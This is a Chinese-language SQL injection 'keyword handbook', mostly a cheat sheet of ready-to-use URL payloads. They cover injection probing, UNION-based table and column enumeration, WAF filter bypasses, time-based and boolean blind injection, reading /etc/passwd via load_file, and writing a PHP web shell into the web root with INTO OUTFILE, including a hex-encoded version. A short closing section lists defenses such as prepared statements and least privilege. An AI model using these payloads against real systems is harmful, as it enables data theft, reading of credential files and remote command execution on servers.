SQL注入关键词手册
1. 基础探测关键词
1.1 单引号测试
-- 测试是否存在注入点
?id=1' --+
?id=1' and '1'='1
1.2 注释符
-- MySQL注释
?id=1' --+
?id=1' #
-- MSSQL注释
?id=1' --
-- Oracle注释
?id=1' --
1.3 逻辑测试
-- 数字型测试
?id=1 and 1=1
?id=1 and 1=2
-- 字符型测试
?id=1' and '1'='1
?id=1' and '1'='2
2. 信息收集关键词
2.1 ORDER BY
-- 确定列数
?id=1' order by 3--+
?id=1' order by 4--+ -- 如果报错,说明只有3列
2.2 UNION SELECT
-- 获取数据库信息
?id=-1' union select 1,2,3--+
?id=-1' union select 1,database(),version()--+
2.3 GROUP_CONCAT
-- 获取所有表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
-- 获取所有列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
3. 常用函数
3.1 版本信息
-- 获取版本信息
?id=1' and @@version like '5%'--+
?id=1' and version() like '5%'--+
3.2 数据库信息
-- 获取当前数据库
?id=1' and database()='security'--+
?id=1' and @@datadir='/var/lib/mysql/'--+
3.3 用户信息
-- 获取当前用户
?id=1' and user()='root@localhost'--+
?id=1' and @@hostname='webserver'--+
4. 绕过过滤技巧
4.1 大小写混合
-- 绕过大小写过滤
?id=1' UniOn SeLeCt 1,2,3--+
?id=1' sElEcT * FrOm users--+
4.2 内联注释
-- 使用内联注释绕过
?id=1' /*!UNION*/ SELECT 1,2,3--+
?id=1' /*!50000UNION*/ SELECT 1,2,3--+
4.3 十六进制编码
-- 使用十六进制绕过
?id=1' union select 1,0x61646d696e,3--+
?id=1' and username=0x61646d696e--+
5. 盲注关键词
5.1 时间盲注
-- 基于时间的盲注
?id=1' and if(1=1,sleep(5),0)--+
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0)--+
5.2 布尔盲注
-- 基于布尔的盲注
?id=1' and length(database())=8--+
?id=1' and ascii(substr(database(),1,1))>100--+
6. 文件操作关键词
6.1 读取文件
-- 读取系统文件
?id=1' union select 1,load_file('/etc/passwd'),3--+
?id=1' union select 1,load_file(0x2f6574632f706173737764),3--+
6.2 写入文件
-- 写入Webshell
?id=1' union select 1,'<?php system($_GET[cmd]);?>',3 into outfile '/var/www/shell.php'--+
?id=1' union select 1,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e,3 into outfile '/var/www/shell.php'--+
7. 防御建议
-
使用预处理语句
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
-
输入验证和过滤
if (!is_numeric($id)) {
die("Invalid input");
}
-
最小化数据库权限
GRANT SELECT ON database.* TO 'webuser'@'localhost';
-
错误信息处理
error_reporting(0);
ini_set('display_errors', 0);
-
使用WAF规则
location / {
ModSecurityEnabled on;
ModSecurityConfig modsecurity.conf;
}